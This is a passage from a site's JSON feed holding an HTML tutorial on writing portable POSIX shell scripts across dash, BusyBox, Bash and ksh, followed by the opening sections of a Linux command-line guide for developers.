\"${TMPDIR:-/tmp}/name.XXXXXX\"</code> with the template at the end and the trap pattern from earlier.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\ntmpdir=$(mktemp -d \"${TMPDIR:-/tmp}/job.XXXXXX\") || exit 1\ncleanup() { rm -rf \"$tmpdir\"; }\ntrap cleanup EXIT\ntrap 'exit 1' HUP INT TERM\n</code></pre>\n<p>POSIX <code>trap</code> accepts signal names without the <code>SIG</code> prefix and the <code>EXIT</code> pseudo-signal, and the handlers above work on all the shells in this guide. The <code>ERR</code>, <code>DEBUG</code> and <code>RETURN</code> traps do not exist in POSIX.</p>\n\n<h2>Test on real shells</h2>\n<p>Running a script under Bash tells you almost nothing about portability. Install the target shells and run the same script through each. In a container this is a one-liner, and a small loop turns it into a matrix.</p>\n<pre><code class=\"language-bash\">for shell in dash \"busybox sh\" bash \"bash --posix\" ksh; do\n  printf '%-14s ' \"$shell\"\n  if $shell ./script.sh &gt;/dev/null 2&gt;&amp;1; then echo ok; else echo FAIL; fi\ndone\n</code></pre>\n<pre><code class=\"language-text\">dash           ok\nbusybox sh     ok\nbash           ok\nbash --posix   ok\nksh            FAIL\n</code></pre>\n<p>On Debian, <code>apt install dash busybox ksh</code> provides all four. A Docker version runs <code>docker run --rm -v \"$PWD\":/w -w /w alpine sh ./script.sh</code> for BusyBox and <code>docker run --rm -v \"$PWD\":/w -w /w debian:12 sh ./script.sh</code> for dash. Keep <code>bash --posix</code> out of your confidence: it still accepts <code>[[</code> and arrays, so a pass there proves nothing about dash.</p>\n\n<h2>Lint for portability</h2>\n<p>Two linters read scripts without running them. ShellCheck, given the shell with <code>-s sh</code> or inferred from the shebang, flags Bash-only syntax in a <code>#!/bin/sh</code> script, for example SC3010 for <code>[[ ]]</code>, SC3054 for array references and SC3043 for <code>local</code>. The Debian <code>checkbashisms</code> script from the devscripts package is a narrower tool made for the same job and finds things ShellCheck sometimes misses, such as <code>echo -e</code> and <code>$RANDOM</code>.</p>\n<pre><code class=\"language-bash\">shellcheck -s sh deploy.sh\ncheckbashisms deploy.sh\n</code></pre>\n<pre><code class=\"language-text\">In deploy.sh line 12:\nif [[ -f \"$cfg\" ]]; then\n   ^-- SC3010 (warning): In POSIX sh, [[ ]] is undefined.\n</code></pre>\n<p>The <a href=\"https://github.com/koalaman/shellcheck/wiki\">ShellCheck wiki</a> has a page per code, with the failing example and the correction, which is the fastest way to learn a replacement. Put both linters in CI, the same way <a href=\"/library/test-shell-scripts-bats-shellcheck\">the testing guide</a> sets up checks for scripts.</p>\n\n<h2>Write a portable script end to end</h2>\n<p>This installer downloads a file, verifies a checksum, and places it, using only POSIX features. It handles missing tools, picks whichever of <code>curl</code> and <code>wget</code> exists, and cleans up.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nset -eu\n\ndie() { printf 'error: %s\\n' \"$*\" &gt;&amp;2; exit 1; }\nhave() { command -v \"$1\" &gt;/dev/null 2&gt;&amp;1; }\n\nurl=\"${1:?usage: install.sh URL SHA256 [DEST]}\"\nwant=\"${2:?usage: install.sh URL SHA256 [DEST]}\"\ndest=\"${3:-/usr/local/bin/tool}\"\n\ntmp=$(mktemp -d \"${TMPDIR:-/tmp}/install.XXXXXX\") || die \"no temp dir\"\ntrap 'rm -rf \"$tmp\"' EXIT\ntrap 'exit 1' HUP INT TERM\n\nif have curl; then\n  curl -fsSL -o \"$tmp/file\" \"$url\" || die \"download failed\"\nelif have wget; then\n  wget -q -O \"$tmp/file\" \"$url\" || die \"download failed\"\nelse\n  die \"need curl or wget\"\nfi\n\nif have sha256sum; then\n  got=$(sha256sum \"$tmp/file\" | cut -d' ' -f1)\nelif have shasum; then\n  got=$(shasum -a 256 \"$tmp/file\" | cut -d' ' -f1)\nelse\n  die \"need sha256sum or shasum\"\nfi\n[ \"$got\" = \"$want\" ] || die \"checksum mismatch: $got\"\n\ninstall -m 0755 \"$tmp/file\" \"$dest\"\nprintf 'installed %s\\n' \"$dest\"\n</code></pre>\n<pre><code class=\"language-text\">$ sh install.sh https://example.org/tool.bin 9f86d081... /tmp/tool\ninstalled /tmp/tool\n</code></pre>\n<p>Every construct appears in the POSIX specification: <code>command -v</code> for existence checks, parameter expansion operators, <code>case</code>-free branching on <code>elif</code>, and <code>install</code>, which is not strictly POSIX but is present everywhere this script is likely to run. The one deliberate non-POSIX call is <code>mktemp</code>, discussed above. The checksum comparison uses a single <code>=</code>, and every expansion is quoted.</p>\n\n<h2>Common portability bugs, in the order they appear</h2>\n<ul>\n<li><strong><code>[[</code> in a <code>#!/bin/sh</code> script.</strong> Fails on dash with <code>not found</code>. Use <code>[ ]</code> and <code>case</code>.</li>\n<li><strong><code>==</code> inside <code>[ ]</code>.</strong> Fails with <code>unexpected operator</code>. Use <code>=</code>.</li>\n<li><strong><code>echo -e</code> and <code>echo -n</code>.</strong> Prints the flag literally on some shells. Use <code>printf</code>.</li>\n<li><strong>Arrays.</strong> Fail with <code>Syntax error: \"(\" unexpected</code>. Use <code>set --</code> or a <code>case</code>.</li>\n<li><strong><code>source file</code>.</strong> Fails with <code>source: not found</code>. Use <code>. file</code>.</li>\n<li><strong><code>function f {</code>.</strong> Syntax error on dash. Use <code>f() {</code>.</li>\n<li><strong><code>$'...'</code> strings.</strong> Printed literally. Use <code>printf</code> to build the characters.</li>\n<li><strong><code>&amp;&gt;</code> redirection.</strong> Parsed as run-in-background then redirect. Use <code>&gt; file 2&gt;&amp;1</code>.</li>\n<li><strong><code>$RANDOM</code>.</strong> Empty in dash. Use <code>awk 'BEGIN{srand(); print int(rand()*32768)}'</code> or read from <code>/dev/urandom</code>.</li>\n<li><strong><code>sed -i</code>, <code>readlink -f</code>, <code>date -d</code>.</strong> Behave differently or fail outside GNU. See the utility table above.</li>\n</ul>\n<p>The <code>&amp;&gt;</code> case is the nastiest because it does not error: dash parses it as <code>cmd &amp;</code> followed by <code>&gt; file</code>, so the command runs in the background and its output goes to the terminal while an empty file is created.</p>\n\n<h2>Speed: why dash is faster</h2>\n<p>Debian switched <code>/bin/sh</code> to dash for boot speed. The difference is easy to measure with a loop of builtins, and the number depends on hardware, so measure on yours. In a Debian 12 container on an aarch64 machine with ten cores, 200,000 iterations of an arithmetic loop took 0.25 seconds in dash, 0.30 seconds in BusyBox ash and 0.60 seconds in Bash 5.2. Starting a shell 300 times to run a no-op took 0.12 seconds with dash, 0.13 with BusyBox and 0.18 with Bash, so a script that launches a shell thousands of times sees the saving directly.</p>\n<pre><code class=\"language-bash\">time dash -c 'i=0; while [ $i -lt 200000 ]; do i=$((i+1)); done'\ntime bash -c 'i=0; while [ $i -lt 200000 ]; do i=$((i+1)); done'\n</code></pre>\n<p>Those figures come from one run of each on one machine, with the shell's own <code>time</code> keyword, and are only a guide. The conclusion that holds is that dash is about twice as fast as Bash for builtin-heavy loops and that neither shell is fast at string-heavy work compared to <code>awk</code>. Choose portability for portability, and choose speed by measuring the real script, as <a href=\"/library/debugging-shell-scripts\">the debugging guide</a> shows with <code>strace -c</code> and <code>time</code>.</p>\n\n<h2>Make Bash behave when it must be sh</h2>\n<p>Sometimes you inherit a script that starts with <code>#!/bin/sh</code>, works on a Fedora host, and breaks in production. Resist the fix of changing the shebang to Bash without understanding why, unless Bash is truly available. A quick diagnosis is to run it with <code>dash</code>, read the first error, and replace that one construct. Repeat until it passes. The sequence is slow once and fast thereafter, because the same dozen constructs cause most failures.</p>\n<p>The reverse case, a Bash script run as <code>sh script.sh</code> by someone who typed the wrong command, is also common. A defensive header makes the failure explicit.</p>\n<pre><code class=\"language-bash\">#!/bin/bash\n[ -n \"${BASH_VERSION:-}\" ] || { echo \"run this with bash\" &gt;&amp;2; exit 1; }\n</code></pre>\n<p>That check uses only POSIX syntax before any Bash feature appears, so dash can parse it and report a clear message instead of a syntax error from line 40.</p>\n\n<h2>Containers and portability</h2>\n<p>Most portability work today happens because of images. Alpine has BusyBox ash and no Bash. Distroless images have no shell at all, which means an entrypoint script cannot exist there. Debian slim images have dash as <code>sh</code> and Bash installed. If your entrypoint must run in all of them, write it in POSIX sh, put <code>exec \"$@\"</code> at the end so signals reach the real process, and test it in each base image. The guide to shell scripting inside Docker covers the entrypoint pattern in depth; the short version is that a POSIX entrypoint with <code>exec</code> is the most portable choice there is.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nset -eu\n: \"${APP_ENV:=production}\"\nif [ \"${1:-}\" = \"migrate\" ]; then\n  /app/bin/migrate\n  shift\nfi\nexec \"$@\"\n</code></pre>\n<p>The leading colon is a no-op command whose arguments are expanded, which makes <code>: \"${VAR:=default}\"</code> the portable way to give a variable a default without running a command.</p>\n\n<h2>The shells you will meet</h2>\n<p>Knowing the family tree explains why a feature exists in one and not another. The Bourne shell, from 1979, defined the basic syntax. The Korn shell, ksh88 and later ksh93, added arrays, <code>[[</code>, <code>$(( ))</code> and <code>$( )</code>, and much of what POSIX standardized came from it. Bash, from the GNU project in 1989, absorbed Korn features and added its own. The Almquist shell, made for BSD in 1989, was ported to Debian as dash and forms the base of BusyBox ash. Zsh is a separate lineage that is mostly Bourne compatible but differs in word splitting and array indexing.</p>\n<table>\n<thead><tr><th>Shell</th><th>Typical home</th><th>Arrays</th><th><code>[[</code></th><th><code>local</code></th><th><code>pipefail</code></th></tr></thead>\n<tbody>\n<tr><td>dash 0.5.12</td><td>Debian, Ubuntu <code>/bin/sh</code></td><td>No</td><td>No</td><td>Yes</td><td>No</td></tr>\n<tr><td>BusyBox ash 1.35</td><td>Alpine, embedded</td><td>No</td><td>Optional at build time</td><td>Yes</td><td>Yes</td></tr>\n<tr><td>Bash 5.2</td><td>Most Linux distributions</td><td>Yes</td><td>Yes</td><td>Yes</td><td>Yes</td></tr>\n<tr><td>ksh93</td><td>AIX, Solaris, some Linux</td><td>Yes</td><td>Yes</td><td>Yes, as <code>typeset</code></td><td>Yes</td></tr>\n<tr><td>zsh 5.9</td><td>macOS default login shell</td><td>Yes, 1-based</td><td>Yes</td><td>Yes</td><td>Yes</td></tr>\n</tbody>\n</table>\n<p>The table is why \"test on dash and BusyBox\" is the working rule: together they lack nearly everything that makes a script non-portable, so a script that passes on both will almost always pass elsewhere. Zsh is the odd one. A script run by zsh on macOS because it was started from an interactive prompt still uses its shebang's shell, so the zsh default matters only for what you type interactively, not for scripts.</p>\n\n<h2>Quoting and word splitting are the same everywhere</h2>\n<p>One area where POSIX shells agree is the one that matters most. An unquoted expansion is split on <code>IFS</code> and then globbed in dash, BusyBox and Bash alike. That sameness is useful: the quoting discipline from <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a> carries over unchanged. What differs is Zsh, which does not split unquoted variables by default, and Bash's <code>nullglob</code>, <code>failglob</code> and <code>extglob</code> options, none of which exist in POSIX.</p>\n<p>That last difference changes how you handle a glob that may match nothing. In POSIX sh the unmatched pattern is left as written, so you test that the first match exists before looping.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nfor f in /var/log/*.log; do\n  [ -e \"$f\" ] || continue\n  printf '%s\\n' \"$f\"\ndone\n</code></pre>\n<p>The <code>[ -e \"$f\" ] || continue</code> line handles the unmatched case, where <code>$f</code> is the literal string <code>/var/log/*.log</code> that names no file. It costs nothing when files exist and prevents a loop body from running against a name that is not a file. The same guard protects <code>rm</code>, <code>cp</code> and <code>chmod</code> from acting on a literal asterisk.</p>\n\n<h2>Command existence: command -v, not which</h2>\n<p>A portable script checks for a tool with <code>command -v</code>. POSIX defines it, every shell implements it, and it finds builtins, functions, aliases and programs on <code>PATH</code>. <code>which</code> is an external program with inconsistent behavior: on some systems it prints nothing and exits 0, on others it prints a sentence to standard output when the name is missing, and on Debian it is a shell script that only searches <code>PATH</code>. <code>type</code> is acceptable but its output is not standardized. <code>hash</code> exists but its exit status for a missing name varies.</p>\n<pre><code class=\"language-bash\">if command -v jq &gt;/dev/null 2&gt;&amp;1; then\n  echo \"jq found at $(command -v jq)\"\nelse\n  echo \"jq is required\" &gt;&amp;2\n  exit 127\nfi\n</code></pre>\n<p>The redirections discard both the path that <code>command -v</code> prints and any complaint on error. Exiting with 127 mirrors the shell's own code for command not found, which makes the failure recognizable to anyone reading logs. List all required tools near the top in a loop, so a missing dependency fails immediately and not after half the work is done.</p>\n\n<h2>Redirection and file descriptors</h2>\n<p>POSIX specifies redirection for descriptors 0 through 9: <code>&gt;&amp;3</code> duplicates, <code>3&gt;file</code> opens, <code>3&lt;&amp;-</code> closes. That is enough for the techniques that matter, such as sending diagnostics to a log while keeping standard output clean. Bash adds <code>&amp;&gt;</code>, <code>&amp;&gt;&gt;</code>, <code>|&amp;</code> and <code>{fd}&gt;</code> for allocating a free descriptor automatically. None of those work in dash.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nexec 3&gt;&amp;1\nexec 1&gt;&gt;/var/log/job.log 2&gt;&amp;1\necho \"this line goes to the log\"\necho \"this line goes to the terminal\" &gt;&amp;3\nexec 3&gt;&amp;-\n</code></pre>\n<p>Using <code>exec</code> with only redirections changes the redirections of the shell itself for the rest of the script. Save the original standard output on descriptor 3 first, as above, if some output still needs to reach the caller. The portable spelling of \"both streams to a file\" is always <code>&gt; file 2&gt;&amp;1</code>, in that order.</p>\n\n<h2>Signals and traps</h2>\n<p>The POSIX <code>trap</code> accepts signal names without the <code>SIG</code> prefix, numbers for the standard few (1 HUP, 2 INT, 3 QUIT, 6 ABRT, 9 KILL, 14 ALRM, 15 TERM), and the pseudo-signal <code>EXIT</code>. Using names such as <code>INT</code> and <code>TERM</code> is fine on all the shells here, and using numbers outside that list is not portable. There is no <code>ERR</code>, <code>DEBUG</code> or <code>RETURN</code> trap in dash.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\ncleanup() {\n  status=$?\n  rm -f \"${lock:-}\"\n  exit \"$status\"\n}\nlock=/tmp/job.$$.lock\n: &gt; \"$lock\"\ntrap cleanup EXIT\ntrap 'exit 130' INT\ntrap 'exit 143' TERM\nsleep 5\n</code></pre>\n<p>Capture <code>$?</code> as the first line of the handler. By the time later lines run, it holds the status of whatever ran in between. Calling <code>exit \"$status\"</code> at the end preserves the original code, which matters when the script's caller inspects it. The numbers 130 and 143 are the 128 plus signal convention, which lets a parent tell a deliberate stop from a failure.</p>\n\n<h2>Options with getopts</h2>\n<p><code>getopts</code> is POSIX and behaves the same on every shell here, which makes it the right default for short options. The details to remember: a leading colon in the option string enables silent mode, <code>OPTARG</code> carries the value or the offending letter, and <code>OPTIND</code> must be reset to 1 if you call <code>getopts</code> again in the same shell, for example in a function. Long options such as <code>--help</code> are not supported, and the external <code>getopt</code> that does support them differs between GNU, BSD and BusyBox, so for portable scripts handle long options by hand.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nwhile [ $# -gt 0 ]; do\n  case $1 in\n    -h|--help)    echo \"usage: tool [--out FILE] [-v] ARG...\"; exit 0 ;;\n    -v|--verbose) verbose=1 ;;\n    -o|--out)     [ $# -ge 2 ] || { echo \"--out needs a value\" &gt;&amp;2; exit 2; }\n                  out=$2; shift ;;\n    --out=*)      out=${1#--out=} ;;\n    --)           shift; break ;;\n    -*)           echo \"unknown option: $1\" &gt;&amp;2; exit 2 ;;\n    *)            break ;;\n  esac\n  shift\ndone\necho \"verbose=${verbose:-0} out=${out:-none} rest=$#\"\n</code></pre>\n<pre><code class=\"language-text\">$ ./tool --out=/tmp/x -v a b\nverbose=1 out=/tmp/x rest=2\n</code></pre>\n<p>This hand-rolled loop uses only <code>case</code>, <code>shift</code> and parameter expansion, so it runs everywhere. The <code>--</code> branch is important: it ends option parsing so that a file named <code>-rf</code> passed after it is treated as an argument. The shell script security guide returns to that point in the context of option smuggling.</p>\n\n<h2>eval, indirection and why to avoid them</h2>\n<p>Without arrays or name references, scripts reach for <code>eval</code> to build variable names, as in <code>eval \"val=\\$$name\"</code>. It works in every shell and it is an injection hole whenever any part of the string comes from outside. The portable alternatives are a <code>case</code> over the known names, or <code>set --</code> to carry a list. Where indirection is truly needed over a fixed vocabulary, validate the name first.</p>\n<pre><code class=\"language-bash\">get() {\n  case $1 in\n    [a-z_]*[!a-z_0-9]*|\"\") return 1 ;;\n  esac\n  eval \"printf '%s\\n' \\\"\\${$1:-}\\\"\"\n}\nregion=eu-west-1\nget region\n</code></pre>\n<p>The guard rejects any name that contains a character outside lowercase letters, digits and underscore, so the <code>eval</code> only ever sees a plain identifier. Even so, this is a last resort. A script that needs it constantly has outgrown POSIX sh and should declare Bash and use <code>declare -n</code> or associative arrays instead.</p>\n\n<h2>Line endings and encodings</h2>\n<p>A script saved with Windows CRLF line endings fails in ways that look unrelated to the file. The kernel reads the shebang as <code>#!/bin/sh\\r</code> and reports <code>bad interpreter: No such file or directory</code>, and when a script is run explicitly each command carries a stray carriage return, so <code>echo hi</code> prints <code>hi</code> followed by <code>\\r</code>. Configure the editor and version control to keep scripts as LF; with Git, a <code>.gitattributes</code> line of <code>*.sh text eol=lf</code> enforces it. Check a suspect file with <code>file script.sh</code>, which says <code>with CRLF line terminators</code>, or <code>od -c</code>.</p>\n<p>Text encoding matters less for the shell and more for the tools. Run text-processing in the C locale with <code>LC_ALL=C</code> when you want byte-wise behavior and the speed that comes with it. Sorting, character classes and case conversion all change with the locale, so a portable script sets it deliberately at the top for those steps and leaves it alone elsewhere.</p>\n\n<h2>Working directory and CDPATH</h2>\n<p>A portable script does not assume where it was started. Use <code>cd -- \"$(dirname -- \"$0\")\"</code> to anchor relative paths to the script, and remember that <code>$0</code> is the path used to invoke it, which may be relative or a symlink. Two small traps lurk here. If <code>CDPATH</code> is set in the caller's environment, <code>cd</code> may print the new directory and change to an unexpected place; unset it in scripts. And <code>cd</code> followed by <code>pwd</code> returns the logical path, which may include symlinks, while <code>pwd -P</code> returns the physical one.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nunset CDPATH\nhere=$(cd -- \"$(dirname -- \"$0\")\" &amp;&amp; pwd -P) || exit 1\ncd \"$here\" || exit 1\n</code></pre>\n<p>On Debian 12 with <code>CDPATH=/usr</code> set, <code>cd bin</code> printed <code>/usr/bin</code> and changed there even from an unrelated directory, which is why scripts unset it at the top.</p>\n\n<h2>Exit status conventions across tools</h2>\n<p>POSIX says an exit status of 0 is success, and 1 to 125 are free for the program, 126 means not executable, 127 means not found, and anything from 128 up usually means a signal. Tools differ in what they use the small numbers for, and a portable script should not assume a particular meaning beyond zero and non-zero unless it reads the tool's page. <code>grep</code> and <code>diff</code> both use 1 for a normal outcome (no match; files differ) and 2 for trouble, so <code>set -e</code> treats a perfectly good \"no match\" as fatal unless you guard it. <code>test</code> uses 1 for false and 2 for a usage error.</p>\n<pre><code class=\"language-bash\">#!/bin/sh\nset -e\nif grep -q ERROR app.log; then\n  echo \"errors found\"\nfi\ncount=$(grep -c ERROR app.log || true)\necho \"$count\"\n</code></pre>\n<p>Wrapping the command in an <code>if</code> or adding <code>|| true</code> declares that status 1 is expected. When 2 matters too, test it explicitly: <code>grep -q pat file; rc=$?</code> then <code>[ \"$rc\" -eq 2 ] &amp;&amp; die \"grep failed\"</code>.</p>\n\n<h2>Migrate a Bash script to POSIX sh step by step</h2>\n<p>When a script must move from Bash to sh, do it as a sequence of small checked changes and not a rewrite. First change the shebang to <code>#!/bin/sh</code> and run <code>shellcheck -s sh</code>. The report is a to-do list ordered by line number. Second, fix the mechanical items that need no redesign: <code>[[</code> to <code>[</code> with quotes, <code>==</code> to <code>=</code>, <code>source</code> to a dot, <code>function f {</code> to <code>f() {</code>, <code>echo -e</code> to <code>printf</code>. Third, handle the structural items one at a time: arrays become positional parameters or line-oriented files, process substitution becomes a temporary file, string substitution becomes <code>sed</code> or <code>case</code>. Fourth, run the script under <code>dash</code> and <code>busybox sh</code> and compare its output with the Bash version on the same inputs.</p>\n<pre><code class=\"language-bash\">bash old.sh sample.txt &gt; expected.out\ndash new.sh sample.txt &gt; actual.out\nbusybox sh new.sh sample.txt &gt; actual-busybox.out\ncmp expected.out actual.out &amp;&amp; cmp expected.out actual-busybox.out &amp;&amp; echo identical\n</code></pre>\n<p>The comparison is the safety net. If you have no tests, the output of the old script on a handful of real inputs is the best specification you have, and capturing it before the first edit takes a minute. Section by section, the cost shows up in the code size: a Bash function that used an associative array and a string replacement is often forty lines in POSIX sh, and the extra length is the price of the portability.</p>\n\n<h2>A decision checklist</h2>\n<p>Run through these questions before writing the first line, and the shebang decides itself. Which hosts will run it, and do they all have Bash? If you cannot list them, assume they do not. Will it run as an entrypoint in a container you do not control? Then POSIX. Will it be sourced into a user's interactive shell, like a profile fragment? Then it must follow that shell's rules, not the shebang's. Does it need arrays, maps or regular expressions in conditions? Then it wants Bash, and a note in the README. Is startup time important, as in a hook that runs on every command? Then dash and builtins, with as few subprocesses as the task allows. Does it have to be understandable by a colleague in a year? Then pick the dialect that reads best for the work, document the choice, and test on what you claim.</p>\n<p>Answering these once, in a comment at the top of the file, turns portability from a vague aspiration into a requirement that a reviewer can check. A header such as \"POSIX sh, checked under dash and BusyBox\" or \"Bash 4.4 or newer, uses associative arrays\" is more useful to the next maintainer than any amount of explanation inside the script.</p>\n\n<h2>Keep portability from regressing</h2>\n<p>A script that passed on dash last month can fail today because someone added a Bashism in a quick fix. The only dependable guard is automation. Add a CI job that runs ShellCheck with the shell set to <code>sh</code>, runs <code>checkbashisms</code>, and executes the script's own test suite under dash and BusyBox in containers. Fail the build on any of them. Reviewers then discuss design, and the pipeline holds the line on syntax. When a legitimate exception is needed, such as one use of <code>local</code> with a known safe form, record it as a ShellCheck <code>disable</code> directive with a reason next to the line, so the exception is visible and can be removed later.</p>\n\n<h2>Choose Bash anyway</h2>\n<p>Portability has a price, paid in readability and in the number of subprocesses, and the decision should be explicit. If your machines are known and all have Bash 4 or newer, use it. If the script is for developers on laptops, use Bash. If the script manipulates lists, strings and maps, use Bash. If the script is more than a few hundred lines of logic, consider a real language. A script that declares <code>#!/usr/bin/env bash</code> and documents the requirement is portable in the sense that matters: it either runs or says plainly why it cannot. The failure to avoid is the in-between case, where a script claims to be <code>sh</code> and quietly depends on Bash.</p>\n\n<h2>Where this does not apply</h2>\n<p><strong>Windows.</strong> Git Bash and WSL provide Bash, but PowerShell and cmd do not run any of this. A portable shell script is portable across Unix-like systems, not across all operating systems.</p>\n<p><strong>Interactive setup.</strong> Aliases, prompt configuration and completion belong in a file that only your own shell reads, such as <code>~/.bashrc</code>, and need no portability at all.</p>\n<p><strong>Scripts that call platform-specific tools.</strong> A script that wraps <code>apt</code>, <code>systemctl</code> or <code>launchctl</code> is tied to a platform no matter what shell runs it. Portable syntax around non-portable commands is not portable.</p>\n<p><strong>Embedded devices with a restricted shell.</strong> Some routers ship BusyBox with applets compiled out. Check <code>busybox --list</code> on the actual device before trusting a general rule.</p>\n\n<h2>Where to go from here</h2>\n<p>If portability was the goal, the next steps are the tools that find bugs: <a href=\"/library/test-shell-scripts-bats-shellcheck\">testing with Bats and ShellCheck</a> for automated checks, and <a href=\"/library/debugging-shell-scripts\">debugging shell scripts</a> for the moment a script behaves differently on a host you cannot easily reach. For the command-line tools themselves, <a href=\"/library/linux-command-line-guide\">the Linux command line guide</a> lists what each of them does across systems.</p>\n<p>Primary sources used here: the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html\">POSIX Shell Command Language</a>, the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sh.html\">POSIX sh utility page</a>, the <a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/printf.html\">POSIX printf page</a>, the <a href=\"https://www.gnu.org/software/bash/manual/html_node/Bash-POSIX-Mode.html\">Bash POSIX mode documentation</a>, the <a href=\"https://git.kernel.org/pub/scm/utils/dash/dash.git/tree/src/dash.1\">dash manual source</a>, the <a href=\"https://busybox.net/downloads/BusyBox.html\">BusyBox documentation</a>, the <a href=\"https://www.debian.org/doc/debian-policy/ch-files.html#scripts\">Debian Policy on scripts</a> and the <a href=\"https://github.com/koalaman/shellcheck/wiki/SC3010\">ShellCheck SC3010 page</a>.</p>","date_published":"2026-11-06T06:12:19+00:00","tags":["Shell Scripting"]},{"id":"https://shellhacks.dev/library/linux-command-line-guide","url":"https://shellhacks.dev/library/linux-command-line-guide","title":"The Linux Command Line Every Developer Needs to Know","summary":"A working Linux command line guide for developers: files, permissions, processes, text tools, find, archives, disks, networking and the habits that save time.","content_html":"<p>The Linux command line is a language for combining small programs, and learning it means learning the grammar before the vocabulary. Once you know how a command line is parsed, how files and permissions work, and how processes and streams connect, the individual commands are quick to pick up from their manual pages. The examples here ran on Debian 12 (bookworm) with GNU coreutils 9.1, Bash 5.2 and util-linux 2.38, in a clean container, and each section says where other systems differ. Writing these commands into files that run unattended is the subject of <a href=\"/library/bash-scripting-tutorial\">the Bash scripting tutorial</a>.</p>\n<p>The guide is arranged in the order a developer needs things: the grammar of the shell, moving through the filesystem, reading and changing files, permissions and ownership, finding things, filtering text, managing processes, checking disks and networks, archives, and the habits that make all of it repeatable. Where a topic has a deeper guide of its own, it links there.</p>\n\n<h2>The grammar of a command line</h2>\n<p>A command line is a program name followed by arguments, separated by spaces. The shell splits the line into words, expands variables and wildcards, then starts the program with the resulting list. The program never sees the wildcard or the quotes; it sees the words. That fact explains most of the surprises in shell use.</p>\n<pre><code class=\"language-bash\">ls -l -a /etc\nls -la /etc\nls --all --format=long /etc\n</code></pre>\n<p>Options usually start with a dash. Short options are single letters and can be combined, so <code>-la</code> is <code>-l -a</code>. Long options start with two dashes and are spelled out. Arguments that are not options are usually files. A lone <code>--</code> ends options, so <code>rm -- -file</code> removes a file named <code>-file</code>. Everything on the line is text; there are no typed arguments, which is why quoting matters so much.</p>\n\n<h2>Read the manual page first</h2>\n<p><code>man</code> shows the manual page for a command, <code>man -k word</code> searches summaries for a topic, and <code>command --help</code> prints a shorter usage text. The sections matter: section 1 is commands, 5 is file formats such as <code>crontab(5)</code>, 7 is overviews such as <code>signal(7)</code>, and 8 is system administration. Inside the pager, <code>/</code> searches, <code>n</code> jumps to the next match and <code>q</code> quits.</p>\n<pre><code class=\"language-bash\">man 5 crontab\nman -k \"disk usage\"\ntype cd ls\n</code></pre>\n<pre><code class=\"language-text\">cd is a shell builtin\nls is hashed (/usr/bin/ls)\n</code></pre>\n<p><code>type</code> tells you whether a name is a builtin, an alias, a function or a file on disk. That matters because builtins such as <code>cd</code> have their documentation in Bash's own manual and not in <code>man cd</code>. Read the <a href=\"https://www.gnu.org/software/coreutils/manual/html_node/index.html\">GNU coreutils manual</a> for the core commands and <a href=\"https://man7.org/linux/man-pages/dir_all_alphabetic.html\">the Linux man-pages project</a> for system calls and file formats. Options differ between GNU, BSD and BusyBox implementations, so check the page that belongs to the system in front of you.</p>\n\n<h2>Where you are: the working directory</h2>\n<p>Every process has a current working directory, and relative paths are resolved against it. <code>pwd</code> prints it, <code>cd</code> changes it, <code>cd -</code> returns to the previous one, and <code>cd</code> alone goes home. A path starting with <code>/</code> is absolute; <code>.</code> is the current directory and <code>..</code> is its parent; <code>~</code> expands to the home directory.</p>\n<pre><code class=\"language-bash\">pwd\ncd /tmp/demo/docs\npwd\ncd ..\ncd -\n</code></pre>\n<pre><code class=\"language-text\">/tmp/demo\n/tmp/demo/docs\n/tmp/demo\n/tmp/demo/docs\n</code></pre>\n<p>A child process cannot change its parent's directory, so a script that runs <code>cd</code> does not move your terminal. This is why <code>cd</code> must be a builtin, and why a script that needs to change your shell's directory has to be sourced rather than executed.</p>\n\n<h2>The filesystem layout</h2>\n<p>Linux presents one tree rooted at <code>/</code>. The Filesystem Hierarchy Standard, which most distributions follow, gives the main directories their jobs. <code>/etc</code> holds system configuration. <code>/home</code> holds users' files. <code>/var</code> holds data that changes, such as logs in <code>/var/log</code> and spool files. <code>/tmp</code> is temporary and is often cleared at boot. <code>/usr</code> holds installed programs and libraries, and on modern systems <code>/bin</code>, <code>/sbin</code> and <code>/lib</code> are symbolic links into it. <code>/proc</code> and <code>/sys</code> are virtual and expose kernel state, and <code>/dev</code> holds device files.</p>\n<pre><code class=\"language-bash\">ls -l /bin /sbin | head -3\nuname -sr\nhead -2 /etc/os-release\n</code></pre>\n<pre><code class=\"language-text\">lrwxrwxrwx 1 root root 7 Mar  1 09:12 /bin -&gt; usr/bin\nLinux 7.0.14-linuxkit\nPRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"\n</code></pre>\n<p>Knowing the layout lets you guess where to look: a service's config is under <code>/etc</code>, its logs under <code>/var/log</code>, and its binaries under <code>/usr/bin</code> or <code>/usr/local/bin</code>. The standard is documented in the <a href=\"https://refspecs.linuxfoundation.org/fhs.shtml\">Filesystem Hierarchy Standard</a>.</p>\n\n<h2>List files with ls</h2>\n<p><code>ls</code> lists a directory. The flags worth knowing are <code>-l</code> for long format, <code>-a</code> to include dotfiles, <code>-h</code> for human-readable sizes, <code>-t</code> to sort by modification time, <code>-S</code> to sort by size, <code>-r</code> to reverse and <code>-d</code> to show a directory itself and not its contents.</p>\n<pre><code class=\"language-bash\">cd /tmp/demo\nls -lah\n</code></pre>\n<pre><code class=\"language-text\">total 20K\ndrwxr-xr-x 4 root root 4.0K Nov  6 05:43 .\ndrwxrwxrwt 1 root root 4.0K Nov  6 05:43 ..\n-rw-r--r-- 1 root root    5 Nov  6 05:43 Makefile\ndrwxr-xr-x 2 root root 4.0K Nov  6 05:43 docs\ndrwxr-xr-x 2 root root 4.0K Nov  6 05:43 src\n</code></pre>\n<p>The first column is the file type and permissions, then the link count, owner, group, size and modification time. The first character of the mode is <code>-</code> for a regular file, <code>d</code> for a directory and <code>l</code> for a symbolic link. Never parse <code>ls</code> output in a script, because names with spaces and newlines break it. Use globs, or <code>find</code> and <code>stat</code>, which are built for machines.</p>\n\n<h2>Inspect a file with stat and 